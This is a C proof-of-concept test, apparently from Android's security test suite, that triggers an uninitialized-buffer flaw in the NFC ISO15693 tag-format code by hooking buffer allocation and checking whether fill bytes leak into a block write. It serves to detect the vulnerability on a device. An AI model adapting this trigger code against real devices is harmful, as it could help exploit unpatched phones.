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/*
* Copyright (C) 2020 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <stdlib.h>
#include "../includes/common.h"
#include "../includes/memutils.h"
char enable_selective_overload = ENABLE_NONE;
bool kIsVulnerable = false;
// This PoC is only for 64-bit builds
#if _64_BIT
#include <dlfcn.h>
#include <nfc_api.h>
#include <nfc_int.h>
#include <rw_int.h>
#include <tags_defs.h>
#define DEFAULT_VALUE 0xBE
#define RW_I93_FORMAT_DATA_LEN 8
// borrowed from rw_i93.cc
extern tRW_CB rw_cb;
extern tNFC_CB nfc_cb;
void rw_init(void);
tNFC_STATUS rw_i93_select(uint8_t* p_uid);
bool kIsInitialized = false;
void* kVulnPtr = nullptr;
uint16_t kVulnSize = 0;
// borrowed from rw_i93.cc
enum {
RW_I93_STATE_NOT_ACTIVATED, /* ISO15693 is not activated */
RW_I93_STATE_IDLE, /* waiting for upper layer API */
RW_I93_STATE_BUSY, /* waiting for response from tag */
RW_I93_STATE_DETECT_NDEF, /* performing NDEF detection precedure */
RW_I93_STATE_READ_NDEF, /* performing read NDEF procedure */
RW_I93_STATE_UPDATE_NDEF, /* performing update NDEF procedure */
RW_I93_STATE_FORMAT, /* performing format procedure */
RW_I93_STATE_SET_READ_ONLY, /* performing set read-only procedure */
RW_I93_STATE_PRESENCE_CHECK /* checking presence of tag */
};
// borrowed from rw_i93.cc
enum {
RW_I93_SUBSTATE_WAIT_UID, /* waiting for response of inventory */
RW_I93_SUBSTATE_WAIT_SYS_INFO, /* waiting for response of get sys info */
RW_I93_SUBSTATE_WAIT_CC, /* waiting for reading CC */
RW_I93_SUBSTATE_SEARCH_NDEF_TLV, /* searching NDEF TLV */
RW_I93_SUBSTATE_CHECK_LOCK_STATUS, /* check if any NDEF TLV is locked */
RW_I93_SUBSTATE_RESET_LEN, /* set length to 0 to update NDEF TLV */
RW_I93_SUBSTATE_WRITE_NDEF, /* writing NDEF and Terminator TLV */
RW_I93_SUBSTATE_UPDATE_LEN, /* set length into NDEF TLV */
RW_I93_SUBSTATE_WAIT_RESET_DSFID_AFI, /* reset DSFID and AFI */
RW_I93_SUBSTATE_CHECK_READ_ONLY, /* check if any block is locked */
RW_I93_SUBSTATE_WRITE_CC_NDEF_TLV, /* write CC and empty NDEF/Terminator TLV
*/
RW_I93_SUBSTATE_WAIT_UPDATE_CC, /* updating CC as read-only */
RW_I93_SUBSTATE_LOCK_NDEF_TLV, /* lock blocks of NDEF TLV */
RW_I93_SUBSTATE_WAIT_LOCK_CC /* lock block of CC */
};
static tNFC_STATUS (*real_rw_i93_send_cmd_write_single_block)(uint16_t block_number,
uint8_t* p_data) = nullptr;
static void* (*real_GKI_getbuf)(uint16_t size) = nullptr;
static void (*real_GKI_freebuf)(void* ptr) = nullptr;
void init(void) {
real_rw_i93_send_cmd_write_single_block = (tNFC_STATUS(*)(uint16_t, uint8_t*))dlsym(
RTLD_NEXT, "_Z34rw_i93_send_cmd_write_single_blocktPh");
if (!real_rw_i93_send_cmd_write_single_block) {
return;
}
real_GKI_getbuf = (void* (*)(uint16_t))dlsym(RTLD_NEXT, "_Z10GKI_getbuft");
if (!real_GKI_getbuf) {
return;
}
real_GKI_freebuf = (void (*)(void*))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
if (!real_GKI_freebuf) {
return;
}
kIsInitialized = true;
}
void* GKI_getbuf(uint16_t size) {
if (!kIsInitialized) {
init();
}
void* ptr = nullptr;
if ((size == I93_MAX_BLOCK_LENGH) || (size == RW_I93_FORMAT_DATA_LEN)) {
ptr = malloc(size);
memset(ptr, DEFAULT_VALUE, size);
kVulnPtr = ptr;
kVulnSize = size;
} else {
ptr = real_GKI_getbuf(size);
}
return ptr;
}
void GKI_freebuf(void* ptr) {
if (!kIsInitialized) {
init();
}
if (ptr == kVulnPtr) {
free(ptr);
} else {
real_GKI_freebuf(ptr);
}
}
size_t rw_i93_send_cmd_write_single_block(uint16_t block_number, uint8_t* p_data) {
if (!kIsInitialized) {
init();
}
if (p_data == kVulnPtr) {
for (int n = 0; n < I93_MAX_BLOCK_LENGH; ++n) {
if (p_data[n] == DEFAULT_VALUE) {
kIsVulnerable = true;
break;
}
}
}
return real_rw_i93_send_cmd_write_single_block(block_number, p_data);
}
#endif /* _64_BIT */
int main() {
// This PoC is only for 64-bit builds
#if _64_BIT
enable_selective_overload = ENABLE_ALL;
tRW_I93_CB* p_i93 = &rw_cb.tcb.i93;
GKI_init();
rw_init();
uint8_t p_uid = 1;
if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
return EXIT_FAILURE;
}
tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
tNFC_CONN_EVT event = NFC_DATA_CEVT;
p_i93->sub_state = RW_I93_SUBSTATE_CHECK_READ_ONLY;
tNFC_CONN* p_data = (tNFC_CONN*)malloc(sizeof(tNFC_CONN));
if (!p_data) {
return EXIT_FAILURE;
}
p_data->data.p_data = (NFC_HDR*)GKI_getbuf(sizeof(uint8_t) * 16);
if (!(p_data->data.p_data)) {
free(p_data);
return EXIT_FAILURE;
}
(p_data->data.p_data)->len = I93_MAX_BLOCK_LENGH;
p_i93->state = RW_I93_STATE_FORMAT;
p_i93->block_size = 7;
p_data->status = NFC_STATUS_OK;
p_cb->p_cback(0, event, p_data);
free(p_data);
enable_selective_overload = ENABLE_NONE;
#endif /* _64_BIT */
return kIsVulnerable ? EXIT_VULNERABLE : EXIT_SUCCESS;
}